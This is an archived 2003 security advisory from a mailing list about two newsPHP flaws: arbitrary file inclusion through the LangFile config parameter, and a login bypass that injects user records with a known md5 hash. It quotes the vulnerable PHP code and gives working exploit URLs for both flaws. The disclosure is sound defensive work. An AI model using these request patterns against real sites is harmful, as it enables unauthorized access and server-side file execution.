[UNIX] newsPHP Arbitrary File Inclusion and Insufficient Login Validation
From: SecuriTeam (support_at_securiteam.com)
Date: 08/27/03
- Previous message: SecuriTeam: "[NT] Castle Rock Computing SNMPc Remote Vulnerability"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 27 Aug 2003 10:24:25 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
newsPHP Arbitrary File Inclusion and Insufficient Login Validation
------------------------------------------------------------------------
SUMMARY
<http://www.nphp.net/> NewsPHP is "a news administration tool designed
for webmasters. It allows you to give other people the ability to post
news to your web site without having to give them FTP access". Two
security vulnerabilities in the product allow remote attackers to include
arbitrary files (and get them executed) and access the product's internal
functions without needing to authenticate properly.
DETAILS
Vulnerable systems:
* newsPHP version 216 RC2
Arbitrary File Inclusion:
A remote attacker can include any existing file on the web server, if the
LangFile is not set in config (it is not set by default).
Vulnerable PHP Code:
-- from nphpd.php
if(isset($nphp_config["LangFile"]))
{
if(strtolower($nphp_config["LangFile"]) != "default" &&
$nphp_config["LangFile"] != "" && file_exists($nphp_config["LangFile"]))
{
include($nphp_config["LangFile"]);
}
}
Exploit:
http://[host]/nphp/nphpd.php?nphp_config[LangFile]=/evil/file
Insufficient Login Validation:
User can perform any other action beside 'login', without knowing a valid
password and valid username combination.
Vulnerable PHP Code:
-- from nfunc.php
function LoadSettings(&$config, &$users)
[...]
$users[$id][] = eregi_replace("[\n\r]","",$raw_config_line[$x]);
[...]
-- from nphpd.php
[...]
LoadSettings($nphp_config, $nphp_users);
[...]
for($i = 0; $i < count($nphp_users); $i++)
{
if((strtolower($nphp_users[$i][0]) ==
strtolower($uname)) && ($nphp_users[$i][1] == md5($pword)))
{
Exploit:
http://[host]/nphp/?[action here, example: output]&
pword=a&
uname=[fake usernamehere]&
nphp_users[user index here][0]=a&
nphp_users[user index here][1]=0cc175b9c0f1b6a831c399e269772661&
nphp_users[user index here][3]=5
Note:
md5('a') is '0cc175b9c0f1b6a831c399e269772661'
ADDITIONAL INFORMATION
The information has been provided by <mailto:officerrr@poligon.com.pl>
Dariusz 'Officerrr' Kolasinski.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[NT] Castle Rock Computing SNMPc Remote Vulnerability"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- [NT] Netegrity SiteMinder smpwservicescgi.exe Target Redirection
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Due to improper filtering
of user provided data, a remote attacker can ... This allows an attacker to redirect
the user to whatever site ... (Securiteam) - [NT] WebArchiveX Unsafe Methods Vulnerability
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... String userAgent,
... scripting' entry, but unfortunately has not changed the version number. ...
(Securiteam) - [NEWS] IBM Net.Data Macro Name Cross-Site Scripting Vulnerability
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... The vulnerability
is caused due to an input validation error in the db2www ... The vendor recommends that
the "DTW_DEFAULT_ERROR_MESSAGE" feature (or ... (Securiteam) - [NEWS] TRUSTe.org Cross Site Scripting and Phishing Opportunities
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... and guidance of many established
companies and industry experts, TRUSTe ... (Securiteam) - [NT] FastStone 4in1 Browser Directory Traversal
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... FastStone 4in1 Browser
does not properly sanitize the directory reference ... (Securiteam)